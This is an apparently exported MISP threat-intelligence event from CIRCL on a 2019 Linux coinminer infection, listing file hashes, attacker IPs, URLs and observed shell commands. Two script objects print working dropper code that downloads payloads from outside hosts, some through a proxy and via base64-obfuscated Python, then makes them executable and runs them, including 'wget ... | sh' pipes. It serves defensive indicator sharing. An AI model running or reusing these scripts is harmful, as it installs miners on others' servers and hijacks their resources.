Linux server infection with coinminers (derived from original post with iptables rules)

Description

The event 'Linux server infection with coinminers (derived from original post with iptables rules)' that occurred on 2019-06-01 09:27:11, had been shared by an unknown organisation on the 2019-06-01. The threat level of this event is Low (3) and the analysis that was made of this event is Ongoing (1). The event is currently published since 2019-06-01 09:27:11, has 4 associated attributes and has 20 associated objects.
For more information on the event, please consult following information.

General information

UUID	5cf22f74-759c-4744-90eb-4300950d210f
Date	2019-06-01
Owner org	No value specified.
Threat level	Low (3)
Analysis	Ongoing (1)
Info	Linux server infection with coinminers (derived from original post with iptables rules)
Event date	2019-06-01 09:27:11
Published	**Yes** (2019-06-01 09:27:11)
Creator Org	CIRCL
# Attributes	4
Tags	**type:OSINT** **osint:lifetime="perpetual"** **osint:certainty="50"** **tlp:white** **misp-galaxy:malpedia="Coinminer"** **misp-galaxy:tool="CoinMiner"** **misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"** **misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059"**

Attributes

Attribute #1

UUID	5cf22f90-03e4-42e8-ad21-46e2950d210f
Category	Artifacts dropped
Comment	Coinminer
Type	md5
Value	2cb968c8d33d89af2ec03df8fd875ab6

Attribute #2

UUID	5cf23560-1a54-4bd1-b253-4cbc950d210f
Category	Artifacts dropped
Comment	Coinminer
Type	sha256
Value	0bc0ea8a037baa0154c4c136bf7a3167cfd81f3c33b2969855d4ef5ce0090e72

Attribute #3

UUID	5cf23658-5858-45ec-bd98-437b950d210f
Category	Network activity
Type	url
Value	http://165.227.140.184/tmp/nww

Attribute #4

UUID	5cf2421b-bba0-4844-8d28-43c9950d210f
Category	Payload delivery
Type	attachment
Value	liu.png

Objects

Object #1

UUID	5cf22fbc-cecc-465b-a261-4385950d210f
Description	An IP address (or domain or hostname) and a port seen as a tuple (or as a triple) in a specific time frame.
Meta Category	network
Object Name	ip-port
Object date	2019-06-01 07:56:44

Attribute #1

UUID	5cf22fbc-4a28-4256-8c9f-4f60950d210f
Category	Network activity
Type	ip-dst
Value	165.227.140.184

Attribute #2

UUID	5cf22fbc-5c68-4ac7-a967-484d950d210f
Category	Network activity
Type	port
Value	80

Object #2

UUID	f0280498-3ef9-436d-ab5f-41ce5352bca8
Description	File object describing a file with meta-information
Meta Category	file
Object Name	file
Object date	2019-06-01 08:19:23

Attribute #1

UUID	9dae9dca-70fd-41e0-a6ae-2622709fc9fb
Category	Artifacts dropped
Comment	Coinminer
Type	md5
Value	2cb968c8d33d89af2ec03df8fd875ab6

Attribute #2

UUID	d52ff6b2-ee13-4cfc-a5ca-2bcdcb5c7b8b
Category	Artifacts dropped
Comment	Coinminer
Type	sha1
Value	535fd49cf76e48d610f2e80d0ce16d722ba6b949

Attribute #3

UUID	6882da9a-5880-4205-8200-8223b7548849
Category	Artifacts dropped
Comment	Coinminer
Type	sha256
Value	7a38a2d4512b775da7ea7c98e03df1ae348493ce512d761013ae123da4379805

Object #3

UUID	35f44d09-4103-4f11-a1dd-74fb99172734
Description	VirusTotal report
Meta Category	misc
Object Name	virustotal-report
Object date	2019-06-01 07:57:37

Attribute #1

UUID	ab588995-f90a-4487-8efd-ec53c6e3fdfd
Category	Other
Comment	Coinminer
Type	datetime
Value	2019-02-25 10:14:54

Attribute #2

UUID	dc266a97-294a-48dd-9ea8-4e2d3ec4f8e4
Category	External analysis
Comment	Coinminer
Type	link
Value	https://www.virustotal.com/file/7a38a2d4512b775da7ea7c98e03df1ae348493ce512d761013ae123da4379805/analysis/1551089694/

Attribute #3

UUID	c278894e-a2a2-40aa-8ae3-ec6d45acc2e9
Category	Artifacts dropped
Comment	Coinminer
Type	text
Value	6/53

Object #4

UUID	5cf234e6-2cd4-43cc-8337-4fa1950d210f
Description	Object describing a series of shell commands executed. This object can be linked with malicious files in order to describe a specific execution of shell commands.
Meta Category	misc
Object Name	shell-commands
Object date	2019-06-01 08:18:46

Attribute #1

UUID	5cf234e6-4da8-49b5-b064-4e40950d210f
Category	Other
Type	text
Value	Bash

Attribute #2

UUID	5cf234e6-ee88-4671-90c3-4ee5950d210f
Category	Other
Type	text
Value	Malicious

Attribute #3

UUID	5cf234e6-c614-47da-a863-46e8950d210f
Category	Other
Type	text
Value	/bin/sh /usr/lib/ConsoleKit/run-session.d/pam-foreground-compat.ck session_removed

Attribute #4

UUID	5cf234e6-9c48-4372-bab4-42b0950d210f
Category	Other
Type	text
Value	sh -c /var/tmp/sde ryuf

Attribute #5

UUID	5cf234e6-abec-4654-a935-4354950d210f
Category	Other
Type	text
Value	sh -c /tmp/sde ryuf

Object #5

UUID	bd7566b3-8da1-4830-9ee4-2d705598919f
Description	File object describing a file with meta-information
Meta Category	file
Object Name	file
Object date	2019-06-01 08:24:11

Attribute #1

UUID	106a8aa1-06b1-4f11-beb5-57962285e6ea
Category	Artifacts dropped
Comment	Coinminer
Type	md5
Value	3694010708de4a2c916e34cbe2a0ed60

Attribute #2

UUID	9332298e-7763-4b34-8004-e24853631adc
Category	Artifacts dropped
Comment	Coinminer
Type	sha1
Value	6faf93653c6f64d7aa814c878fed112a6db992f6

Attribute #3

UUID	1fc98d1a-6c44-4bc1-b1a8-55740185342c
Category	Artifacts dropped
Comment	Coinminer
Type	sha256
Value	0bc0ea8a037baa0154c4c136bf7a3167cfd81f3c33b2969855d4ef5ce0090e72

Object #6

UUID	49e52bb6-f81f-4516-99e4-e2e04f1c0bc7
Description	VirusTotal report
Meta Category	misc
Object Name	virustotal-report
Object date	2019-06-01 08:20:59

Attribute #1

UUID	266fe354-b65d-425a-9c9e-3544e0c5a9f1
Category	Other
Comment	Coinminer
Type	datetime
Value	2019-02-10 19:49:48

Attribute #2

UUID	e4df3142-d2dd-48ed-81d8-dada676b54e3
Category	External analysis
Comment	Coinminer
Type	link
Value	https://www.virustotal.com/file/0bc0ea8a037baa0154c4c136bf7a3167cfd81f3c33b2969855d4ef5ce0090e72/analysis/1549828188/

Attribute #3

UUID	a64f16e1-a212-4a8f-ba03-dbc5fed0c2bd
Category	Artifacts dropped
Comment	Coinminer
Type	text
Value	1/58

Object #7

UUID	5cf235f9-14d0-4bcf-9d72-4b5f950d210f
Description	Object describing a series of shell commands executed. This object can be linked with malicious files in order to describe a specific execution of shell commands.
Meta Category	misc
Object Name	shell-commands
Object date	2019-06-01 08:23:21

Attribute #1

UUID	5cf235f9-bef4-4265-ad47-48c2950d210f
Category	Other
Type	text
Value	Bash

Attribute #2

UUID	5cf235f9-9bfc-4e50-9433-44d2950d210f
Category	Other
Type	text
Value	Malicious

Attribute #3

UUID	5cf235f9-a640-4b3b-8627-4592950d210f
Category	Other
Type	text
Value	atd

Attribute #4

UUID	5cf235f9-91cc-411f-8124-4241950d210f
Category	Other
Type	text
Value	/bin/sh /usr/lib/ConsoleKit/run-session.d/pam-foreground-compat.ck session_removed

Object #8

UUID	5cf236e8-c18c-45ff-852e-4be0950d210f
Description	Object describing a computer program written to be run in a special run-time environment. The script or shell script can be used for malicious activities but also as support tools for threat analysts.
Meta Category	misc
Object Name	script
Object date	2019-06-01 08:42:17

Attribute #1

UUID	5cf236e8-f01c-49ec-b1f0-4d88950d210f
Category	Other
Type	text
Value	#!/bin/sh if ! ps -ax | grep -v grep | grep "[ ]"$ >/dev/null; then nohup python -c 'import os,urllib; proxies = {"http": "http://41.203.146.142:8080"};f=open("/tmp/hsos","wb");f.write(urllib.urlopen("http://165.227.140.184/tmp/ofd",proxies=proxies).read());f.close();os.system("chmod +x /tmp/hsos");os.system("chmod 777 /tmp/hsos");os.system("/tmp/hsos")' & sleep 3 nohup python3 -c 'import urllib.request; urllib.request.urlretrieve("http://165.227.140.184/tmp/ofd", "/tmp/vov");os.system("chmod 7777 /tmp/vov");os.system("chmod +x /tmp/vov");os .system("/tmp/vov")' 2>&1 sleep 3 nohup python -c 'exec("aW1wb3J0IG9zLHVybGxpYixiaW5hc2NpaTsgbD1iaW5hc2NpaS5iMmFfaGV4KG9zLnVyYW5kb20oNCkpOyBoZD11cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vODcuMjM2LjIxMi4yMzcvdG1wL29mZCIsICIvdG1wLyIrbCk7b3Muc3lzdGVtKCJjaG1vZCA3NzcgL3RtcC9vZnQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvIitsKTsgb3Muc3lzdGVtKCIvdG1wLyIrbCk=".decode("base64"))' 2>&1 sleep 3 nohup python -c 'exec("aW1wb3J0IG9zLHVybGxpYixiaW5hc2NpaTtsPWJpbmFzY2lpLmIyYV9oZXgob3MudXJhbmRvbSg0KSk7aD1vcy5wYXRoLmV4cGFuZHVzZXIoIn4vIitsKTtwcm94aWVzPXsiaHR0cCI6Imh0dHA6Ly8yMTEuMjQuMTAzLjIyODo4MCJ9O2Y9b3BlbihoLCJ3YiIpO2Yud3JpdGUodXJsbGliLnVybG9wZW4oImh0dHA6Ly84Ny4yMzYuMjEyLjIzNy90bXAvb2Zklixwcm94aWVzPXByb3hpZXMpLnJlYWQoKSk7Zi5jbG9zZSgpO29zLnN5c3RlbSgiY2htb2QgNzc3NyB7fSIuZm9ybWF0KGgpKTtvcy5zeXN0ZW0oImNobW9kICt4IHt9Ii5mb3JtYXQoaCkpOyBvcy5zeXN0ZW0oInt9ICYiLmZvcm1hdChoKSk=".decode("base64"))' 2>&1 wget -O - http://185.165.169.6/jp/_j.sh|sh ; curl http://185.165.169.6/jp/_j.jpg|sh fi

Attribute #2

UUID	5cf236e8-c8e0-4f09-a08f-4020950d210f
Category	Other
Type	text
Value	Bash

Attribute #3

UUID	5cf236e8-97dc-4950-8b7b-49eb950d210f
Category	Other
Type	text
Value	Malicious

Object #9

UUID	5cf23717-673c-48de-9834-476d950d210f
Description	File object describing a file with meta-information
Meta Category	file
Object Name	file
Object date	2019-06-01 08:28:07

Attribute #1

UUID	5cf23717-3760-4566-ac39-4171950d210f
Category	Payload delivery
Type	malware-sample
Value	ofd|9f189f26da1206151ce39e5aab269ff6

Attribute #2

UUID	5cf23717-1cc0-4498-b030-4dfe950d210f
Category	Payload delivery
Type	filename
Value	ofd

Attribute #3

UUID	5cf23717-a51c-4984-946c-4e30950d210f
Category	Payload delivery
Type	md5
Value	9f189f26da1206151ce39e5aab269ff6

Attribute #4

UUID	5cf23717-dacc-4ee2-a604-4202950d210f
Category	Payload delivery
Type	sha1
Value	4ee5040af71f5fd8080f0f0bed2672bc1f68d1e1

Attribute #5

UUID	5cf23717-a18c-4add-a8d3-4dcc950d210f
Category	Payload delivery
Type	sha256
Value	1fc77ceb1ffad48a067c9c83bc1c5347e4b359b4520859b91fc14fedc29a8803

Attribute #6

UUID	5cf23717-9e74-4830-9d52-495d950d210f
Category	Other
Type	size-in-bytes
Value	56392

Object #10

UUID	5cf237b6-06bc-4e57-ad7e-31bb950d210f
Description	url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.
Meta Category	network
Object Name	url
Object date	2019-06-01 08:30:46

Attribute #1

UUID	5cf237b6-d330-432a-bb24-31bb950d210f
Category	Network activity
Type	url
Value	http://87.236.212.237/tmp/ofd

Attribute #2

UUID	5cf237b6-9eb0-41b0-8815-31bb950d210f
Category	Network activity
Type	hostname
Value	87.236.212.237

Attribute #3

UUID	5cf237b6-fb28-44f8-94df-31bb950d210f
Category	Other
Type	text
Value	http

Attribute #4

UUID	5cf237b6-37e8-4ebc-96ee-31bb950d210f
Category	Other
Type	text
Value	/tmp/ofd

Object #11

UUID	5cf23812-2ae8-4feb-8e8b-4a1f950d210f
Description	Object describing a computer program written to be run in a special run-time environment. The script or shell script can be used for malicious activities but also as support tools for threat analysts.
Meta Category	misc
Object Name	script
Object date	2019-06-01 08:35:54

Attribute #1

UUID	5cf23812-c074-4095-9201-4ad5950d210f
Category	Other
Type	text
Value	#!/bin/sh id1="fkbgh" id2="jm" if [-x "/tmp/"] && [-w "/tmp/"]; then wget -O /tmp/`echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o /tmp/`echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x /tmp/`echo $id1` chmod 7777 /tmp/`echo $id1` /tmp/`echo $id1` & elif [-x "/var/tmp/"] && [-w "/var/tmp/"]; then wget -O /var/tmp/`echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o /var/tmp/`echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x /var/tmp/`echo $id1` chmod 7777 /var/tmp/`echo $id1` /var/tmp/`echo $id1` & elif [-x "/dev/shm/"] && [-w "/dev/shm/"]; then wget -O /dev/shm/`echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o /dev/shm/`echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x /dev/shm/`echo $id1` chmod 7777 /dev/shm/`echo $id1` /dev/shm/`echo $id1` & elif [-x $JBOSS_HOME] && [-w $JBOSS_HOME]; then wget -O $JBOSS_HOME/`echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o $JBOSS_HOME/`echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x $JBOSS_HOME/`echo $id1` chmod 7777 $JBOSS_HOME/`echo $id1` $JBOSS_HOME/`echo $id1` & elif [-x $HOME] && [-w $HOME]; then wget -O $HOME/`echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o $HOME/`echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x $HOME/`echo $id1` chmod 7777 $HOME/`echo $id1` $HOME/`echo $id1` & else wget -O `echo $id1` http://185.165.169.6/jp/`echo $id2` curl -o `echo $id1` http://185.165.169.6/jp/`echo $id2` chmod +x `echo $id1` chmod 7777 `echo $id1` `echo $id1` & fi

Attribute #2

UUID	5cf23812-7958-4746-90ff-4f07950d210f
Category	Other
Type	text
Value	Bash

Attribute #3

UUID	5cf23812-9244-4ac6-b02d-44ee950d210f
Category	Other
Type	text
Value	Malicious

Object #12

UUID	5cf238a2-0e5c-447e-a584-4072950d210f
Description	url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.
Meta Category	network
Object Name	url
Object date	2019-06-01 08:34:42

Attribute #1

UUID	5cf238a2-48ac-4a0e-bd26-40a6950d210f
Category	Network activity
Type	url
Value	http://185.165.169.6/jp/

Object #13

UUID	5cf2397c-b0a0-475d-b764-4c2a950d210f
Description	url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.
Meta Category	network
Object Name	url
Object date	2019-06-01 08:38:20

Attribute #1

UUID	5cf2397c-5e34-4a1d-8852-4c8b950d210f
Category	Network activity
Type	url
Value	http://87.236.212.237/tmp/ofd

Attribute #2

UUID	5cf2397c-3538-4d28-a44c-47b8950d210f
Category	Other
Type	text
Value	http

Object #14

UUID	5cf23a31-1db8-4b41-81af-4416950d210f
Description	url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.
Meta Category	network
Object Name	url
Comment	Used as proxy
Object date	2019-06-01 08:41:21

Attribute #1

UUID	5cf23a31-1560-497d-83a2-4da7950d210f
Category	Network activity
Type	url
Value	http://41.203.146.142:8080

Object #15

UUID	5cf23ef7-5138-4a1f-b773-4766950d210f
Description	File object describing a file with meta-information
Meta Category	file
Object Name	file
Object date	2019-06-01 09:03:10

Attribute #1

UUID	5cf23ef8-dbdc-45cb-8ca1-450e950d210f
Category	Payload delivery
Type	malware-sample
Value	3d02bbddc185352ddc1dea20f54e2f2b39f180a9bd26d8453b5ad7b983466c95|9ae7dc5ff13526e8cc5b8c236066a828

Attribute #2

UUID	5cf23ef8-9804-476f-afd2-4eaf950d210f
Category	Payload delivery
Type	filename
Value	3d02bbddc185352ddc1dea20f54e2f2b39f180a9bd26d8453b5ad7b983466c95

Attribute #3

UUID	5cf23ef8-0318-46ce-9019-4854950d210f
Category	Payload delivery
Type	md5
Value	9ae7dc5ff13526e8cc5b8c236066a828

Attribute #4

UUID	5cf23ef8-d628-4196-93e4-4608950d210f
Category	Payload delivery
Type	sha1
Value	69af27d553292952e4d93338c44b0f4e66a15470

Attribute #5

UUID	5cf23ef8-f698-463d-b69e-4d4e950d210f
Category	Payload delivery
Type	sha256
Value	3d02bbddc185352ddc1dea20f54e2f2b39f180a9bd26d8453b5ad7b983466c95

Attribute #6

UUID	5cf23ef8-708c-40b8-949d-4873950d210f
Category	Other
Type	size-in-bytes
Value	58088

Object #16

UUID	5cf23fe9-25c8-47df-a38a-4325950d210f
Description	An IP address (or domain or hostname) and a port seen as a tuple (or as a triple) in a specific time frame.
Meta Category	network
Object Name	ip-port
Comment	Most probably compromised host
Object date	2019-06-01 09:05:45

Attribute #1

UUID	5cf23fe9-6a38-49ca-8933-4325950d210f
Category	Network activity
Type	ip-dst
Value	45.77.54.157

Object #17

UUID	5cf24083-6de0-42e3-9ae7-4129950d210f
Description	File object describing a file with meta-information
Meta Category	file
Object Name	file
Object date	2019-06-01 09:09:51

Attribute #1

UUID	5cf24083-e570-445a-b777-4dab950d210f
Category	Payload delivery
Type	malware-sample
Value	slpr|f049ae13406fdebadb10960bc0deee87

Attribute #2

UUID	5cf24083-902c-49e9-aa0c-4718950d210f
Category	Payload delivery
Type	filename
Value	slpr

Attribute #3

UUID	5cf24083-6a48-4363-b324-4451950d210f
Category	Payload delivery
Type	md5
Value	f049ae13406fdebadb10960bc0deee87

Attribute #4

UUID	5cf24083-c6c0-4d5c-9316-434c950d210f
Category	Payload delivery
Type	sha1
Value	da05b42311606eaa03ca8edd6a94ff2eacd44c2b

Attribute #5

UUID	5cf24083-2c2c-4d3d-8ed5-4c5e950d210f
Category	Payload delivery
Type	sha256
Value	62ca3fd070d6447e844c76e4bedcce908a18bc275c1a713415d11838b1cb5f04

Attribute #6

UUID	5cf24083-8908-4603-a951-4f6f950d210f
Category	Other
Type	size-in-bytes
Value	88728

Object #18

UUID	5cf240b4-352c-40a3-8aba-40b5950d210f
Description	url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.
Meta Category	network
Object Name	url
Object date	2019-06-01 09:09:08

Attribute #1

UUID	5cf240b4-fd50-484e-ab61-4e7a950d210f
Category	Network activity
Type	url
Value	37.228.129.58/home/slpr

Attribute #2

UUID	5cf240b4-261c-4b77-8364-4a0d950d210f
Category	Other
Type	text
Value	http

Attribute #3

UUID	5cf240b4-15a4-4db3-b0dc-4954950d210f
Category	Other
Type	text
Value	/home/slpr

Object #19

UUID	5cf241f4-75b0-43e7-80fe-4487950d210f
Description	Microblog post like a Twitter tweet or a post on a Facebook wall.
Meta Category	misc
Object Name	microblog
Object date	2019-06-01 09:18:00

Attribute #1

UUID	5cf241f4-6b14-49eb-a550-4c70950d210f
Category	Other
Type	text
Value	latest iptables commands found in new linux #PACHA backdoor sample, MD5=a4ef2477af0c769bb2043bca6b5843c2, the ACCEPTED IP should all be blacklisted.

Attribute #2

UUID	5cf241f4-0f14-491e-b20a-40fa950d210f
Category	Other
Type	text
Value	Twitter

Attribute #3

UUID	5cf241f4-ce4c-45d4-b3f5-465a950d210f
Category	Network activity
Type	url
Value	https://twitter.com/liuya0904/status/1134660970112999425

Attribute #4

UUID	5cf241f4-51f8-4638-bd9d-4623950d210f
Category	Other
Type	text
Value	liuya0904

Attribute #5

UUID	5cf241f4-54ac-4527-ae4e-45b3950d210f
Category	Other
Type	text
Value	Informative

Object #20

UUID	5cf24424-33b4-488b-8202-4db5950d210f
Description	An annotation object allowing analysts to add annotations, comments, executive summary to a MISP event, objects or attributes.
Meta Category	misc
Object Name	annotation
Object date	2019-06-01 09:23:48

Attribute #1

UUID	5cf24424-8ee8-46e5-93a9-4a45950d210f
Category	Other
Type	text
Value	markdown

Attribute #2

UUID	5cf24424-1584-4e9c-9fea-45e7950d210f
Category	Other
Type	text
Value	Annotation

Attribute #3

UUID	5cf24424-c33c-4187-8f6d-4907950d210f
Category	Other
Type	text
Value	OSINT investigation based on the original tweet from Liu Ya which contains a netfilter/iptables script with some IP addresses. By pivoting from the IP addresses, malware samples and script can be found at different locations. This quick analysis include the scripts collected, the samples and the relationships between the various objects.